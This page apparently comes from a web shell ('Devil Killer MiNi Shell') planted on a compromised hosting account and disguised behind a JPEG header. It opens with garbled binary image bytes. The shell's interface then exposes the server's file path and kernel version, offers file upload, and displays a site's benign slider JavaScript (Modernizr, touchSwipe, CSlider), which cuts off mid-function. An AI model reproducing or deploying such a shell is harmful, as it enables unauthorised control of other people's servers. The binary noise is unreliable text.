JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosweb01/sb_web/b2920/tortugaaquarelle.info/test/page4/files/

Linux boscustweb5001.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //hermes/bosweb01/sb_web/b2920/tortugaaquarelle.info/test/page4/files/stacks_page_page4.js

// 'stacks' is the Stacks global object.
// All of the other Stacks related Javascript will 
// be attatched to it.
var stacks = {};


// this call to jQuery gives us access to the globaal
// jQuery object. 
// 'noConflict' removes the '$' variable.
// 'true' removes the 'jQuery' variable.
// removing these globals reduces conflicts with other 
// jQuery versions that might be running on this page.
stacks.jQuery = jQuery.noConflict(true);

// Javascript for stacks_in_65_page4
// ---------------------------------------------------------------------

// Each stack has its own object with its own namespace.  The name of
// that object is the same as the stack's id.
stacks.stacks_in_65_page4 = {};

// A closure is defined and assigned to the stack's object.  The object
// is also passed in as 'stack' which gives you a shorthand for referring
// to this object from elsewhere.
stacks.stacks_in_65_page4 = (function(stack) {

	// When jQuery is used it will be available as $ and jQuery but only
	// inside the closure.
	var jQuery = stacks.jQuery;
	var $ = jQuery;
	
/* Modernizr 2.5.3 (Custom Build) | MIT & BSD
 * Build: http://www.modernizr.com/download/#-cssanimations-csstransitions-shiv-cssclasses-testprop-testallprops-domprefixes-load
 */
;window.Modernizr=function(a,b,c){function x(a){j.cssText=a}function y(a,b){return x(prefixes.join(a+";")+(b||""))}function z(a,b){return typeof a===b}function A(a,b){return!!~(""+a).indexOf(b)}function B(a,b){for(var d in a)if(j[a[d]]!==c)return b=="pfx"?a[d]:!0;return!1}function C(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:z(f,"function")?f.bind(d||b):f}return!1}function D(a,b,c){var d=a.charAt(0).toUpperCase()+a.substr(1),e=(a+" "+n.join(d+" ")+d).split(" ");return z(b,"string")||z(b,"undefined")?B(e,b):(e=(a+" "+o.join(d+" ")+d).split(" "),C(e,b,c))}var d="2.5.3",e={},f=!0,g=b.documentElement,h="modernizr",i=b.createElement(h),j=i.style,k,l={}.toString,m="Webkit Moz O ms",n=m.split(" "),o=m.toLowerCase().split(" "),p={},q={},r={},s=[],t=s.slice,u,v={}.hasOwnProperty,w;!z(v,"undefined")&&!z(v.call,"undefined")?w=function(a,b){return v.call(a,b)}:w=function(a,b){return b in a&&z(a.constructor.prototype[b],"undefined")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!="function")throw new TypeError;var d=t.call(arguments,1),e=function(){if(this instanceof e){var a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(t.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(t.call(arguments)))};return e}),p.cssanimations=function(){return D("animationName")},p.csstransitions=function(){return D("transition")};for(var E in p)w(p,E)&&(u=E.toLowerCase(),e[u]=p[E](),s.push((e[u]?"":"no-")+u));return x(""),i=k=null,function(a,b){function g(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function h(){var a=k.elements;return typeof a=="string"?a.split(" "):a}function i(a){var b={},c=a.createElement,e=a.createDocumentFragment,f=e();a.createElement=function(a){var e=(b[a]||(b[a]=c(a))).cloneNode();return k.shivMethods&&e.canHaveChildren&&!d.test(a)?f.appendChild(e):e},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+h().join().replace(/\w+/g,function(a){return b[a]=c(a),f.createElement(a),'c("'+a+'")'})+");return n}")(k,f)}function j(a){var b;return a.documentShived?a:(k.shivCSS&&!e&&(b=!!g(a,"article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block}audio{display:none}canvas,video{display:inline-block;*display:inline;*zoom:1}[hidden]{display:none}audio[controls]{display:inline-block;*display:inline;*zoom:1}mark{background:#FF0;color:#000}")),f||(b=!i(a)),b&&(a.documentShived=b),a)}var c=a.html5||{},d=/^<|^(?:button|form|map|select|textarea)$/i,e,f;(function(){var a=b.createElement("a");a.innerHTML="<xyz></xyz>",e="hidden"in a,f=a.childNodes.length==1||function(){try{b.createElement("a")}catch(a){return!0}var c=b.createDocumentFragment();return typeof c.cloneNode=="undefined"||typeof c.createDocumentFragment=="undefined"||typeof c.createElement=="undefined"}()})();var k={elements:c.elements||"abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup mark meter nav output progress section summary time video",shivCSS:c.shivCSS!==!1,shivMethods:c.shivMethods!==!1,type:"default",shivDocument:j};a.html5=k,j(b)}(this,b),e._version=d,e._domPrefixes=o,e._cssomPrefixes=n,e.testProp=function(a){return B([a])},e.testAllProps=D,g.className=g.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(f?" js "+s.join(" "):""),e}(this,this.document),function(a,b,c){function d(a){return o.call(a)=="[object Function]"}function e(a){return typeof a=="string"}function f(){}function g(a){return!a||a=="loaded"||a=="complete"||a=="uninitialized"}function h(){var a=p.shift();q=1,a?a.t?m(function(){(a.t=="c"?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){a!="img"&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l={},o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};y[c]===1&&(r=1,y[c]=[],l=b.createElement(a)),a=="object"?l.data=c:(l.src=c,l.type=a),l.width=l.height="0",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),a!="img"&&(r||y[c]===2?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||"j",e(a)?i(b=="c"?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),p.length==1&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName("script")[0],o={}.toString,p=[],q=0,r="MozAppearance"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&o.call(a.opera)=="[object Opera]",l=!!b.attachEvent&&!l,u=r?"object":l?"script":"img",v=l?"script":u,w=Array.isArray||function(a){return o.call(a)=="[object Array]"},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split("!"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f<d;f++)g=a[f].split("="),(e=z[g.shift()])&&(c=e(c,g));for(f=0;f<b;f++)c=x[f](c);return c}function g(a,e,f,g,i){var j=b(a),l=j.autoCallback;j.url.split(".").pop().split("?").shift(),j.bypass||(e&&(e=d(e)?e:e[a]||e[g]||e[a.split("/").pop().split("?")[0]]||h),j.instead?j.instead(a,e,f,g,i):(y[j.url]?j.noexec=!0:y[j.url]=1,f.load(j.url,j.forceCSS||!j.forceJS&&"css"==j.url.split(".").pop().split("?").shift()?"c":c,j.noexec,j.attrs,j.timeout),(d(e)||d(l))&&f.load(function(){k(),e&&e(j.origUrl,i,g),l&&l(j.origUrl,i,g),y[j.url]=2})))}function i(a,b){function c(a,c){if(a){if(e(a))c||(j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}),g(a,j,b,0,h);else if(Object(a)===a)for(n in m=function(){var b=0,c;for(c in a)a.hasOwnProperty(c)&&b++;return b}(),a)a.hasOwnProperty(n)&&(!c&&!--m&&(d(j)?j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}:j[n]=function(a){return function(){var b=[].slice.call(arguments);a&&a.apply(this,b),l()}}(k[n])),g(a[n],j,b,n,h))}else!c&&l()}var h=!!a.test,i=a.load||a.both,j=a.callback||f,k=j,l=a.complete||f,m,n;c(h?a.yep:a.nope,!!i),i&&c(i)}var j,l,m=this.yepnope.loader;if(e(a))g(a,0,m,0);else if(w(a))for(j=0;j<a.length;j++)l=a[j],e(l)?g(l,0,m,0):w(l)?B(l):Object(l)===l&&i(l,m);else Object(a)===a&&i(a,m)},B.addPrefix=function(a,b){z[a]=b},B.addFilter=function(a){x.push(a)},B.errorTimeout=1e4,b.readyState==null&&b.addEventListener&&(b.readyState="loading",b.addEventListener("DOMContentLoaded",A=function(){b.removeEventListener("DOMContentLoaded",A,0),b.readyState="complete"},0)),a.yepnope=k(),a.yepnope.executeStack=h,a.yepnope.injectJs=function(a,c,d,e,i,j){var k=b.createElement("script"),l,o,e=e||B.errorTimeout;k.src=a;for(o in d)k.setAttribute(o,d[o]);c=j?h:c||f,k.onreadystatechange=k.onload=function(){!l&&g(k.readyState)&&(l=1,c(),k.onload=k.onreadystatechange=null)},m(function(){l||(l=1,c(1))},e),i?k.onload():n.parentNode.insertBefore(k,n)},a.yepnope.injectCss=function(a,c,d,e,g,i){var e=b.createElement("link"),j,c=i?h:c||f;e.href=a,e.rel="stylesheet",e.type="text/css";for(j in d)e.setAttribute(j,d[j]);g||(n.parentNode.insertBefore(e,n),m(c,0))}}(this,document),Modernizr.load=function(){yepnope.apply(window,[].slice.call(arguments,0))};

/*
 * touchSwipe - jQuery Plugin
 * https:/github.com/mattbryson/TouchSwipe-Jquery-Plugin
 * http:/labs.skinkers.com/touchSwipe/
 * http:/plugins.jquery.com/project/touchSwipe
 *
 * Copyright (c) 2010 Matt Bryson (www.skinkers.com)
 * Dual licensed under the MIT or GPL Version 2 licenses.
 *
 */
(function($) { var LEFT = "left", RIGHT = "right", UP = "up", DOWN = "down", NONE = "none", HORIZONTAL = "horizontal", VERTICAL = "vertical", AUTO = "auto", PHASE_START="start", PHASE_MOVE="move", PHASE_END="end", PHASE_CANCEL="cancel", SUPPORTS_TOUCH = 'ontouchstart' in window, START_EV = SUPPORTS_TOUCH ? 'touchstart' : 'mousedown', MOVE_EV = SUPPORTS_TOUCH ? 'touchmove' : 'mousemove', END_EV = SUPPORTS_TOUCH ? 'touchend' : 'mouseup', CANCEL_EV = 'touchcancel', PLUGIN_NS = 'TouchSwipe';
var defaults = { fingers : 1, threshold : 75, maxTimeThreshold : null, swipe : null, swipeLeft : null, swipeRight : null, swipeUp : null, swipeDown : null, swipeStatus : null, click : null, triggerOnTouchEnd : true, allowPageScroll : "auto" };
$.fn.swipe = function(method) { $this = $(this); var plugin = $this.data(PLUGIN_NS); if(plugin && typeof method === 'string') { if (plugin[method]) { return plugin[method].apply(this, Array.prototype.slice.call(arguments, 1)); } else { $.error('Method ' + method + ' does not exist on jQuery.swipe'); } } else if (!plugin && (typeof method === 'object' || !method)) { return init.apply(this, arguments); } }
$.fn.swipe.defaults = defaults;
$.fn.swipe.phases = { PHASE_START:PHASE_START, PHASE_MOVE:PHASE_MOVE, PHASE_END:PHASE_END, PHASE_CANCEL:PHASE_CANCEL };
$.fn.swipe.directions = { LEFT:LEFT, RIGHT:RIGHT, UP:UP, DOWN:DOWN };
$.fn.swipe.pageScroll = { NONE:NONE, HORIZONTAL:HORIZONTAL, VERTICAL:VERTICAL, AUTO:AUTO };
function init(options) { if (options && (options.allowPageScroll==undefined && (options.swipe!=undefined || options.swipeStatus!=undefined))) { options.allowPageScroll=NONE; } if (!options) { options={}; } options = $.extend({}, $.fn.swipe.defaults, options); return this.each(function() { var $this = $(this); var plugin = $this.data(PLUGIN_NS); if(!plugin) { plugin = new TouchSwipe(this, options); $this.data(PLUGIN_NS, plugin); } }); }
/** * Main TouchSwipe Plugin Class */
function TouchSwipe (element, options) { var $element = $(element); var phase="start"; var triggerElementID = null; var fingerCount = 0; var start={x:0, y:0}; var end={x:0, y:0}; var delta={x:0, y:0}; var startTime = 0; var endTime = 0; var moveEvent; try { $element.bind(START_EV, touchStart); $element.bind(CANCEL_EV, touchCancel); } catch(e) { $.error( 'events not supported ' +  START_EV + ',' + CANCEL_EV +' on jQuery.swipe' ); } 
/* re-enables the swipe plugin with the previous configuration */ 
this.enable=function() { $element.bind(START_EV, touchStart); $element.bind(CANCEL_EV, touchCancel); return $element; } 
/* disables the swipe plugin */ 
this.disable=function() { removeListeners(); return $element; } 
/* Destroy the swipe plugin completely. To use any swipe methods, you must re initialise the plugin. */
this.destroy=function() { removeListeners(); $element.data(PLUGIN_NS, null); return $element; } 
/* Event handler for a touch start event. * Stops the default click event from triggering and stores where we touched */ 
function touchStart(event) { event = event.originalEvent; var ret, evt = SUPPORTS_TOUCH ? event.touches[0] : event; phase = PHASE_START; if (SUPPORTS_TOUCH) { fingerCount = event.touches.length; } else { event.preventDefault(); } distance=0; direction=null; duration=0; if (!SUPPORTS_TOUCH || fingerCount == options.fingers) { start.x = end.x = evt.pageX; start.y = end.y = evt.pageY; startTime = getTimeStamp(); if (options.swipeStatus) { ret = triggerHandler(event, phase); } } else { touchCancel(event); } if (ret === false) { phase = PHASE_CANCEL; triggerHandler(event, phase); return ret; } else { $element.bind(MOVE_EV, touchMove); $element.bind(END_EV, touchEnd); } }
 /* Event handler for a touch move event. * If we change fingers during move, then cancel the event */
function touchMove(event) { event = event.originalEvent; if (phase == PHASE_END || phase == PHASE_CANCEL) { return; } var ret, evt = SUPPORTS_TOUCH ? event.touches[0] : event; end.x = evt.pageX; end.y = evt.pageY; endTime = getTimeStamp(); direction = calculateDirection(); if (SUPPORTS_TOUCH) { fingerCount = event.touches.length; } phase = PHASE_MOVE; validateDefaultEvent(event, direction); if ( fingerCount == options.fingers || !SUPPORTS_TOUCH) { distance = calculateDistance(); duration = calculateDuration(); if (options.swipeStatus) { ret = triggerHandler(event, phase, direction, distance, duration); } if (!options.triggerOnTouchEnd) { var cancel = !validateSwipeTime(); if ( validateSwipeDistance()===true ) { phase = PHASE_END; ret = triggerHandler(event, phase); } else if (cancel) { phase = PHASE_CANCEL; triggerHandler(event, phase); } } } else { phase = PHASE_CANCEL; triggerHandler(event, phase); } if (ret === false) { phase = PHASE_CANCEL; triggerHandler(event, phase); } }
/* Event handler for a touch end event. * Calculate the direction and trigger events */
function touchEnd(event) { event = event.originalEvent; event.preventDefault(); endTime = getTimeStamp(); distance = calculateDistance(); direction = calculateDirection(); duration = calculateDuration(); if (options.triggerOnTouchEnd || (options.triggerOnTouchEnd==false && phase == PHASE_MOVE)) { phase = PHASE_END; if ( (fingerCount == options.fingers  || !SUPPORTS_TOUCH) && end.x != 0 ) { var cancel = !validateSwipeTime(); if ( (validateSwipeDistance()===true || validateSwipeDistance()===null) && !cancel ) { triggerHandler(event, phase); } else if(cancel || validateSwipeDistance()===false) { phase = PHASE_CANCEL; triggerHandler(event, phase); } } else { phase = PHASE_CANCEL; triggerHandler(event, phase); } } else if (phase == PHASE_MOVE) { phase = PHASE_CANCEL; triggerHandler(event, phase); } $element.unbind(MOVE_EV, touchMove, false); $element.unbind(END_EV, touchEnd, false); }
/* Event handler for a touch cancel event. * Clears current vars */
function touchCancel(event) { fingerCount = 0; start.x = 0; start.y = 0; end.x = 0; end.y = 0; delta.x = 0; delta.y = 0; endTime=0; startTime=0; }
/* Trigger the relevant event handler * The handlers are passed the original event, the element that was swiped, and in the case of the catch all handler, the direction that was swiped, "left", "right", "up", or "down" */
function triggerHandler(event, phase) { var ret; if (options.swipeStatus) { ret = options.swipeStatus.call($element,event, phase, direction || null, distance || 0, duration || 0); } if (phase == PHASE_CANCEL) { if (options.click && (fingerCount==1 || !SUPPORTS_TOUCH) && (isNaN(distance) || distance==0)) { ret = options.click.call($element,event, event.target); } } if (phase == PHASE_END) { if (options.swipe) { ret = options.swipe.call($element,event, direction, distance, duration); } switch(direction) { case LEFT : if (options.swipeLeft) { ret = options.swipeLeft.call($element,event, direction, distance, duration); } break; case RIGHT : if (options.swipeRight) { ret = options.swipeRight.call($element,event, direction, distance, duration); } break; case UP : if (options.swipeUp) { ret = options.swipeUp.call($element,event, direction, distance, duration); } break; case DOWN : if (options.swipeDown) { ret = options.swipeDown.call($element,event, direction, distance, duration); } break; } } if(phase==PHASE_CANCEL || phase==PHASE_END) { touchCancel(event); } if (ret !== undefined) { return ret; } }
function validateSwipeDistance() { if(options.threshold!==null) { return distance >= options.threshold; } else { return null; } }
function validateSwipeTime() { var result; if(options.maxTimeThreshold) { if(duration >= options.maxTimeThreshold) { result = false; } else { result = true; } } else { result = true; } return result; }
function validateDefaultEvent(event, direction) { if( options.allowPageScroll==NONE ) { event.preventDefault(); } else { var auto = options.allowPageScroll==AUTO; switch(direction) { case LEFT : if ( (options.swipeLeft && auto) || (!auto && options.allowPageScroll!=HORIZONTAL)) { event.preventDefault(); } break; case RIGHT : if ( (options.swipeRight && auto) || (!auto && options.allowPageScroll!=HORIZONTAL)) { event.preventDefault(); } break; case UP : if ( (options.swipeUp && auto) || (!auto && options.allowPageScroll!=VERTICAL)) { event.preventDefault(); } break; case DOWN : if ( (options.swipeDown && auto) || (!auto && options.allowPageScroll!=VERTICAL)) { event.preventDefault(); } break; } } }
function calculateDuration(){ return endTime - startTime; }
function calculateDistance(){ return Math.round(Math.sqrt(Math.pow(end.x - start.x,2) + Math.pow(end.y - start.y,2))); }
function caluculateAngle() { var X = start.x-end.x; var Y = end.y-start.y; var r = Math.atan2(Y,X); var angle = Math.round(r*180/Math.PI); if (angle < 0) { angle = 360 - Math.abs(angle); } return angle; }
function calculateDirection() { var angle = caluculateAngle(); if ( (angle <= 45) && (angle >= 0) ) { return LEFT; } else if ( (angle <= 360) && (angle >= 315) ) { return LEFT; } else if ( (angle >= 135) && (angle <= 225) ) { return RIGHT; } else if ( (angle > 45) && (angle < 135) ) { return DOWN; } else { return UP; } } 
function getTimeStamp() { var now = new Date(); return now.getTime(); } function removeListeners() { $element.unbind(START_EV, touchStart); $element.unbind(CANCEL_EV, touchCancel); $element.unbind(MOVE_EV, touchMove); $element.unbind(END_EV, touchEnd); } } })(jQuery);


/* CSlider courtesy of Codrops
 * http://tympanus.net/codrops/2012/03/15/parallax-content-slider-with-css3-and-jquery/
 * Adapted for use with RapidWeaver and Stacks by Jonathan Head of NimbleHost
 * http://nimblehost.com
 */
 
(function( $, undefined ) {
	/*
	 * Slider object.
	 */
	$.Slider 				= function( options, element ) {
	
		this.$el	= $( element );
		this._init( options );
	};
	
	$.Slider.defaults 		= {
		current		: 0, 	// index of current slide
		bgincrement	: 50,	// increment the bg position (parallax effect) when sliding
		autoplay	: false,// slideshow on / off
		interval	: 4000  // time between transitions
    };
	
	$.Slider.prototype 	= {
		_init 				: function( options ) {
				this.options 		= $.extend( true, {}, $.Slider.defaults, options );
				this.parentWidth	= this.$el.parent().width();
				this.$slides		= this.$el.find('div.parallax-slide');
				this.slidesCount	= this.$slides.length;
				this.current		= this.options.current;
				if( this.current < 0 || this.current >= this.slidesCount ) {
					this.current	= 0;
				}
				this.$slides.eq( this.current ).addClass( 'parallax-slide-current' );
				if ( this.parentWidth < 481 ) { this.$slides.eq( this.current ).addClass( 'parallax-mobile-current' ); }
				var $navigation		= $( '<nav class="parallax-dots"/>' );
			for( var i = 0; i < this.slidesCount; ++i ) {
					$navigation.append( '<span/>' );
				}
			$navigation.appendTo( this.$el );
				this.$pages			= this.$el.find('nav.parallax-dots > span');
				this.$navNext		= this.$el.find('span.parallax-arrows-next');
				this.$navPrev		= this.$el.find('span.parallax-arrows-prev');
				this.isAnimating	= false;
				this.bgpositer		= 0;
				this.cssAnimations	= Modernizr.cssanimations;
				this.cssTransitions	= Modernizr.csstransitions;
				if( !this.cssAnimations || !this.cssTransitions ) {
						this.$el.addClass( 'parallax-slider-stacks_in_65_page4-fb' );
				}
				this._updatePage();
				// load the events
			this._loadEvents();
				// slideshow
			if( this.options.autoplay ) {
					this._startSlideshow();
				}
			},
		_navigate			: function( page, dir ) {
				var $current	= this.$slides.eq( this.current ), $next, _self = this;
				if( this.current === page || this.isAnimating ) return false;
				this.isAnimating	= true;
				// check dir
				var classTo, classFrom, mobileClassTo, mobileClassFrom, d;
				if( !dir ) {
					( page > this.current ) ? d = 'next' : d = 'prev';
				} else {
					d = dir;
				}
				if( this.cssAnimations && this.cssTransitions ) {
					if( d === 'next' ) {
						mobileClassTo = this.parentWidth < 481 ? ' parallax-mobile-toleft' : '';
						mobileClassFrom = this.parentWidth < 481 ? ' parallax-mobile-fromright' : '';
						classTo		= 'parallax-slide-toleft' + mobileClassTo;
						classFrom	= 'parallax-slide-fromright' + mobileClassFrom;
						++this.bgpositer;
				} else {
						mobileClassTo = this.parentWidth < 481 ? ' parallax-mobile-toright' : '';
						mobileClassFrom = this.parentWidth < 481 ? ' parallax-mobile-fromleft' : '';
						classTo		= 'parallax-slide-toright' + mobileClassTo;
						classFrom	= 'parallax-slide-fromleft' + mobileClassFrom;
						--this.bgpositer;
					}
					this.$el.css( 'background-position' , this.bgpositer * this.options.bgincrement + '% 0%' );
				}
				this.current	= page;
				$next			= this.$slides.eq( this.current );
				if( this.cssAnimations && this.cssTransitions ) {
					var rmClasses	= 'parallax-slide-toleft parallax-slide-toright parallax-slide-fromleft parallax-slide-fromright parallax-mobile-toleft parallax-mobile-toright fromright fromleft';
				$current.removeClass( rmClasses );
				$next.removeClass( rmClasses );
						$current.addClass( classTo );
				$next.addClass( classFrom );
						$current.removeClass( 'parallax-slide-current parallax-mobile-current' );
				$next.addClass( 'parallax-slide-current' );
				if ( this.parentWidth < 481 ) { $next.addClass( 'parallax-mobile-current' ); }
					}
				// fallback
			if( !this.cssAnimations || !this.cssTransitions ) {
						$next.css( 'left', ( d === 'next' ) ? '100%' : '-100%' ).stop().animate( {
					left : '0%'
				}, 1000, function() { _self.isAnimating = false; } );
				$current.stop().animate( {
					left : ( d === 'next' ) ? '-100%' : '100%'
				}, 1000, function() { $current.removeClass( 'parallax-slide-current parallax-mobile-current' ); } );
					}
				this._updatePage();
			},
		_updatePage			: function() {
			this.$pages.removeClass( 'parallax-dots-current' );
			this.$pages.eq( this.current ).addClass( 'parallax-dots-current' );
		},
		_startSlideshow		: function() {
			var _self	= this;
				this.slideshow	= setTimeout( function() {
						var page = ( _self.current < _self.slidesCount - 1 ) ? page = _self.current + 1 : page = 0;
				_self._navigate( page, 'next' );
						if( _self.options.autoplay ) {
							_self._startSlideshow();
						}
				}, this.options.interval );
		},
		_loadEvents			: function() {
				var _self = this;
				this.$pages.on( 'click.cslider', function( event ) {
						if( _self.options.autoplay ) {
							clearTimeout( _self.slideshow );
					_self.options.autoplay	= false;
						}
						_self._navigate( $(this).index() );
				return false;
					});
				this.$navNext.on( 'click.cslider', function( event ) {
						if( _self.options.autoplay ) {
							clearTimeout( _self.slideshow );
					_self.options.autoplay	= false;
						}
						var page = ( _self.current < _self.slidesCount - 1 ) ? page = _self.current + 1 : page = 0;
				_self._navigate( page, 'next' );
				return false;
					});
				this.$navPrev.on( 'click.cslider', function( event ) {
						if( _self.options.autoplay ) {
							clearTimeout( _self.slideshow );
					_self.options.autoplay	= false;
						}
						var page = ( _self.current > 0 ) ? page = _self.current - 1 : page = _self.slidesCount - 1;
				_self._navigate( page, 'prev' );
				return false;
					});
				var swipeOptions = { swipeLeft:swipeNextSlide, swipeRight:swipePrevSlide, threshold: 0 }
				this.$slides.swipe(swipeOptions);
				function swipeNextSlide(event) {
					if( _self.options.autoplay ) {
							clearTimeout( _self.slideshow );
					_self.options.autoplay	= false;
						}
						var page = ( _self.current < _self.slidesCount - 1 ) ? page = _self.current + 1 : page = 0;
					_self._navigate( page, 'next' );
					return false;
				}
				function swipePrevSlide(event) {
					if( _self.options.autoplay ) {
							clearTimeout( _self.slideshow );
					_self.options.autoplay	= false;
						}
						var page = ( _self.current > 0 ) ? page = _self.current - 1 : page = _self.slidesCount - 1;
					_self._navigate( page, 'prev' );
					return false;
				}
				if( this.cssTransitions ) {
					this.$el.on( 'webkitTransitionEnd.cslider transitionend.cslider OTransitionEnd.cslider', function( event ) {
								if( event.target.id === _self.$el.attr( 'id' ) )
						_self.isAnimating	= false;
							});
					}
			}
	};
	
	var logError 			= function( message ) {
		if ( this.console ) {
			console.error( message );
		}
	};
	
	$.fn.cslider			= function( options ) {
	
		if ( typeof options === 'string' ) {
